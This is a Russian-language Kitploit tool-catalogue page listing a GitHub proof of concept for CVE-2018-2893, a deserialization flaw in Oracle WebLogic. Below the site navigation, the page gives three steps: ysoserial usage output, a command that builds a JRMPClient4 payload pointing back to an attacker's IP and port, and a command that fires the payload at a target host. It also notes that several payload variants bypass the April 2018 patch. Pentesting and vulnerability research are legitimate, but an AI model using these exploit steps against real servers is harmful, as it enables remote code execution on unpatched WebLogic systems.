Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-2893 — CVE-2018-2893-PoC | Kitploit
Инструменты/GitHubGitHub/pyn3rd/cve-2018-2893
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubpyn3rd/cve-2018-2893

CVE-2018-2893

CVE-2018-2893-PoC

Репозиторий
105337 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-2893

Шаг 1

java -jar ysoserial-cve-2018-2893.jar

root@kitploit:~
WHY SO SERIAL?
Usage: java -jar ysoserial-cve-2018-2893.jar [payload] '[command]'
Available payload types:
     Payload     Authors   Dependencies
     -------     -------   ------------
     JRMPClient  @mbechler
     JRMPClient2 @mbechler
     JRMPClient3 @mbechler
     JRMPClient4 @mbechler
     Jdk7u21     @frohoff

Шаг 2

java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "[IP]:[PORT]" > poc4.ser

Шаг 3

python weblogic.py [HOST] [PORT] poc4.ser

Примечание: Любой из JRMPClient2|JRMPClient3|JRMPClient4 может быть использован для обхода Critical Patch Update April 2018.

Скачать инструмент